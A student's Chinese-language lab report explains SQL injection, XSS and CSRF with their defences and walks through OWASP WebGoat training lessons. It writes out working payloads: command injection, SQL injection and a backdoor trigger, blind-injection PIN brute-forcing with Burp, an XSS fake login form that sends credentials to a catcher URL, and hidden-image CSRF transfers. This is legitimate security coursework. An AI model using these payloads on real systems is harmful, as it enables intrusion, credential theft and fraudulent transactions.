20155339 Exp9 Web安全基础
Exp9 Web安全基础
基础问题回答
(1)SQL注入攻击原理,如何防御
- 原理:它是利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入恶意SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句,最终达到欺骗服务器执行恶意的SQL命令。
- 本质:基于文本解析的机制无法分辨代码是否是恶意代码,仅仅是顺序读取和执行,因为通常文本解析的语言并不会进行编译。
- 防御:既然可以看到注入类攻击的核心原因是因为很多语言的顺序执行机制,和文本解析的本质,那么我只需要打破这种机制就可以防止注入攻击的发生。以SQL注入为例,可以通过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入作为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入作为一种变量进行处理,不会在运行时进行动态的拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。
(2)XSS攻击的原理,如何防御
- 原理:攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
- 条件:
- 网站需要有输入参数的地方。(所谓输入不一定是<\input>标签的文本框类型,也可以是选择栏,或者submit,只需要通过工具进行intercept修改参数,能够控制传入值就可以了。)
- 用户的输入会被通过某种方式再次呈现出来。
- 分类:反射型和储存型,简单来讲,反射型不存储信息,一旦离开该网页所有输入无法再找回;储存型会存储信息,会将用户名甚至密码存储起来,即使离开这个网站下次再次进入,用户名依旧会留存在页面。
- 防御:
- 过滤
<
和>
标记,XSS跨站攻击的最终目标是引入script代码在用户的浏览器中执行,所以最基本最简单的过滤方法,就是转换<
和>
标记。 - HTML属性过滤,一旦用户输入的语句中含有
javascript
,jscript
,vbscript
,都用空白代替。 - 过滤特殊字符:
&
、回车和空格。
- 过滤
(3)CSRF攻击原理,如何防御
- 原理:CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器.
- 实例:利用HTML的Request机制,攻击者发送给被害者一个
www.B.com
域名下的网站,内部嵌入了恶意的src=www.A.com
的Request指令,如果被害者打开B.com时当前浏览器正好已经登录过了A.com并且把A.com的Cookie放入了浏览器,那么在B.com下Request站点A.com时就会带走A.com的Session.服务器会错误的认为B.com的恶意请求是用户自己发出的。 - 防御:
- CSRF的攻击是有条件的,当用户访问恶意链接的时候,认证的cookie仍然有效,所以当用户关闭页面的时候cookie应该要被清除。
- 验证HTTP Referer字段。
- 在请求地址中添加token并验证。
- 在HTTP头中自定义属性并验证。
实验体会
这次实验花费了较多的时间,在实践过程中也是在一边进行学习一边进行实践,对于完成试验也不急,慢慢学习并实践,对于不会的东西利用强大的度娘来答疑解惑也是学到了很多东西,可以说比起前面的每次实验应该是学到东西最多的一次实验,但不得不承认要是没有前面实践的基础,这次实践肯定也是云里雾里,毫无意义。所以通过这所有的实验以及这最后一次的综合实践,对于前面的知识也有了些一些融会贯通的感觉。除此之外,之前的恐惧与不安变成了想拿同学来试一试了,哈哈哈。
实验过程
WebGoat
- 首先什么是WebGoat呢,官网给出的解释是WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。
- 运行WebGoat,在这之前需要一个java的环境,所以得先安装一个JDK,如果虚拟机里已经有了,那就省了不少事儿,直接在终端键入命令
java -jar webgoat-container-7.0.1-war-exec.jar
,这个终端不能关闭哦,我做实验花了好几天,每次晚上我选择将虚拟机挂起,或者下次再次打开这个环境也可以。
- 由于WebGoat使用的是8080端口,所以在浏览器上访问
localhost:8080/WebGoat
,进入WebGoat,默认的账号密码进行登录。 - 进去之后就可以在左边看到很多练习啦。
SQL注入攻击
Command Injection
-
其实很难受,都是英文,每点击一步都是在跟自己斗争,这个呢就要点击
Injection Flaws
再选择Command Injection
。 -
这是一个命令注入。这节课的要求是尝试向操作系统注入命令,在正常的参数提交过程中,添加恶意的代码,以得到意外的收获。
-
看一下hints,大概意思应该是应用程序使用系统命令来返回文件的内容,也是通过翻译以及自己的理解总结出的意思,意思应该是通过使用系统命令向操作系统获得注入,那么尝试注入
netstat -an
以及ifconfig
这两个系统命令以获取本地计算机建立连接的IP以及系统的网络端口使用情况以及IP地址。
-
在所请求的页面源代码中添加
"& netstat -an & ifconfig"
,注意有个英文的双引号,查找源代码需要点击火狐的扩展(右上角)里的小虫子(如下图),就可以看到网页的源代码,在BackDoors.help
的后面加上"& netstat -an & ifconfig"
。
-
然后在课程页面的下拉菜单就可以看到我们新设的值,选定它,然后点击
view
。
-
wow,出现了网络端口使用情况和IP地址。
Numeric SQL Injection
- 数字型SQL注入,看看hints说的是:应用程序从选择框中获取输入,并将其插入到预先形成的SQL命令的末尾。那么就是进行SQL注入在station字段注入特征字符,以组合成新的SQL语句,
SELECT * FROM weather_data WHERE station = [station]
,要获得所有的天气数据,就在station中的任意一个值后面加入一个1=1
,由于1=1
为永真式,选择所修改的value所指向的城市,就可以得到所有的天气。
Log Spoofing
- 日志欺骗,是攻击者发现了日志生成的规则,通过注入恶意字符串,按照规则伪造出一条日志。由于用户名后面的信息会出现在与用户名相同的一行,所以可以注入回车%0d和换行符%0a,在User Name输入
PC%0d%0aLogin Succeeded for username: admin
,这样就可以在日志中留下Login Succeeded for username: admin
这样的假的登陆成功的日志。
String SQL Injection
- 字符串注入,由于字符串是由
'
包裹起来的,所以要注意格式,和数字注入原理一样,在last name出输入Smith' OR '1'='1
,也就是当last name为Smith或者1=1时输出信息,又由于1=1为恒等式,所以所有的用户信息都会被输出。
LAB: SQL Injection
- 使用字符串SQL注入来绕过身份验证。展现了数字和字符串不同的注入方法,对password进行拦截,然后使用字符串注入,可以登录任意账户。
Stage 1:String SQL Injection - 使用SQL注入以Neville为用户名进行登录,而不用使用正确的密码,根据上次实验的基础,尝试以
' or 1=1 --
为密码登陆,'--'为注释符号。 - 出现登录失败的问题,再次尝试发现我的密码不能全部输进去,看来是密码长度有限制,打开网页源代码,发现密码的长度的确做了限制,将其改为30再次尝试,成功注入。
Stage 3:Numeric SQL Injection
-
这个阶段的要求是执行SQL注入以绕过授权。通过一个普通员工的账户,浏览其boss的账户信息。
-
首先用Larry用户,密码larry来登录,浏览员工信息的按钮是
ViewProfile
。
-
要通过员工的信息获得boss的账户信息,那么应该是在点击了
ViewProfile
按钮之后出现,要想办法在点击了这个按钮之后出现boss的信息,那么在网页代码中分析一下这个按钮是怎么工作的。因此在HTML文件中找到它的上下文代码。
-
可以看到这个员工还有按钮是通过员工ID联系到一起的,那么如果我把员工ID改为
101 or 1=1 --
呢,尝试一下,发现出来的仍然是Larry的信息。
- 尝试了多次依旧失败,进行一个大胆的猜测有可能是只能打印一条信息,应该是第一条信息,要让boss的信息排到第一个,那么可以根据薪水来进行一个降序排列,boss的薪水应该是最高的,尝试一下
101 or 1=1 order by salary desc --
,ok,成功了。
Database Backdoors
-
数据库后门。输入101,得到该用户的信息。
-
可以发现输入的语句没有验证,很容易进行SQL注入攻击;那么若要执行连个语句,中间需要用分号分隔。输入注入语句
101; update employee set salary=100
,成功更改了工资。
-
接下来,添加一个触发器,输入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='2015339@qq.com' WHERE userid = NEW.userid
。
Blind Numeric SQL Injection
-
数字型盲注入,有些时候进行SQL注入,但是获取不到我们需要的信息,此时可以通过SQL语句的条件判断,进行盲注。
-
在这里我们知道一个值
cc_number=1111222233334444
,但是想知道其pin
在pins table
里的值,可以使用盲注进行爆破,那么先尝试一下(SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100;
看其PIN值是否大于100,结果为An error occurred, please try again.
,发生错误?那尝试一下默认的值101
,测试为Account number is valid.
,这说明101
为真,且之前那个应该为语法错误,所以不能直接输入测试的值,那么就尝试在101
后面加上一组数值来判断该数值是否为真。综合上面的两个语句,尝试一下101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );
,结果为真,那么说明这个的PIN值大于100。
-
之后尝试了几组数值,差距有点大,用二分法也得一会儿,就选择抓包,打开BurpSuite,设置代理,点击
Proxy
->options
,默认端口为8080,现在已经被占用,所以添加一个add
然后ok
,勾选新增项。
-
设置浏览器的代理,打开浏览器右侧的“更多”,依次点击
preference
->advanced
->natwork
->settings
,选择下图所示代理,端口号为自己刚刚设置的端口号。
-
浏览器设置好自己所注入的SQL,点击
GO
,这边就已经抓好包了,右键send to intruder
,使用sniper
模式,先clear
,把它默认的攻击位置全部取消,然后选择account_number
后面的值点击(注意只需要选择数值,后面的submit
不能选上)Add
。
-
接下来设置载荷,由于我们要进行数字类型的暴力破解,所以我们点击
payload
选择载荷类型为Numbers
。根据前面的二分法筛选后数值设定为从2000到3000进行,步数为1,设置完成后开始攻击,这个时间比较久,可以先去干别的事,最后可以发现2364的报文长度值和其他不同。那么猜测是2364。
- 将2364输入进行验证,发现正确。
XSS攻击(Cross-Site Scripting (XSS))
Phishing with XSS
-
跨站脚本钓鱼攻击。首先看看要求,大概意思是将html制作一个请求页面,添加javascript来实际收集信息。
将信息发送到http://localhost:8080/webgoat /catcher?PROPERTY=yes…
-
这个比较茫然,要把这个HTML插入到哪里呀?那看看hints:尝试在搜索字段中添加HTML以创建一个伪造的身份验证表单,因为表单很容易受到XSS的攻击。
试着让表单看起来很正式,那么需要一个符合要求的XSS攻击代码插入到搜索字段。
#!html
</form>
<script>
function send(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.attack.user.value + "&password=" + document.attack.pass.value + "";
}
</script>
<form name="attack">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Username:<br>
<input type="text" name="user">
<br>Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="send()">
</form>
<br>
<br>
<HR>
- 一个简单的前端代码,输入用户名和密码,登录按钮链接一个
send()
函数,在这个函数里通过JavaScript来实现获取用户的信息(用户名和密码)并将其传送到题干中要求的地方,以达到一个钓鱼网站的构建。
Stored XSS Attacks
- 储存型XSS攻击,这道题的环境是在留言板,留言板可以输入任何信息,没有进行输入输出编码,那么可以产生XSS,用户A进行恶意留言
用户B点进来自动显示用户A的留言。 - 很简单在留言板中写一个简单的语句
<script>alert("hahahaha");</script>
,当下一个用户点击这条留言的时候就中了XSS攻击。
Reflected XSS Attacks
-
反射性XSS攻击。看要求说的很云里雾里,还是先看看什么是反射型XSS漏洞吧。如果一个应用程序使用动态页面向用户显示错误消息,就会造成一种常见的XSS漏洞。通常,该页面会使用一个包含消息文本的参数,并在响应中将这个文本返回给用户。对于开发者而言,使用这种机制非常方便,因为它允许他们从应用程序中调用一个定制的错误页面,而不需要对错误页面中的消息分别进行硬编码。
-
这里的输入框其实就有反射型XSS漏洞,所以只要我们在输入框插入一段浏览器可以解释的代码,那么就相当于将其植入到了value中,浏览器会解释这段代码。
-
所以在输入框中输入
<script>alert("bang");</script>
就会解释这段代码,验证一下,成功。
-
同样如果将这段脚本直接插入网页代码的输入框的value中也会实现这个功能。
CSRF攻击
Cross Site Request Forgery (CSRF)
-
通过上文说阐述的CSRF的原理可以知道,我们需要制作一个URL来诱惑其他用户点击,在这里我们以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
-
根据提示以及要求,我们需要这样一条语句
<img src="http://localhost:8080/WebGoat/attack?Screen=484&menu=900&transferFunds=5000" width="1" height="1">
,其中src指向网站的链接,这里就是自己的这个网站,后面的两个参数可以根据要求里面的提示进行查找,就在右边的Parameters
中可以看到Screen
andmenu
,根据值来填写,然后通过宽高设置成1像素,隐藏掉这个图片。
-
之后填写一个标题,在message中输入该语句,提交,点击留言,成功的转走了5000,这个练习成功了不会出现congratulation,只会在左边出现绿色的√。
CSRF Prompt By-Pass
- 查看要求,可以知道与上一个任务的要求差不多,多了一个确认转账的任务很简单依旧是
attack?Screen=XXX&menu=YYY&transferFunds=ZZZ
这种语法,Src值以及menu值同样在右侧确定,由于指向的是本网站,所以可以直接attack?
,transferFunds
加上转账金额或者确认消息,将下面的代码添加到message中,随便一个title,提交,同样点击留言,ok,转账并且确认,可以看到左侧出现了小√。
<img src="attack?Screen=473&menu=900&transferFunds=5000"
width="1" height="1">
<img src="attack?Screen=473&menu=900&transferFunds=confirm"
width="1" height="1">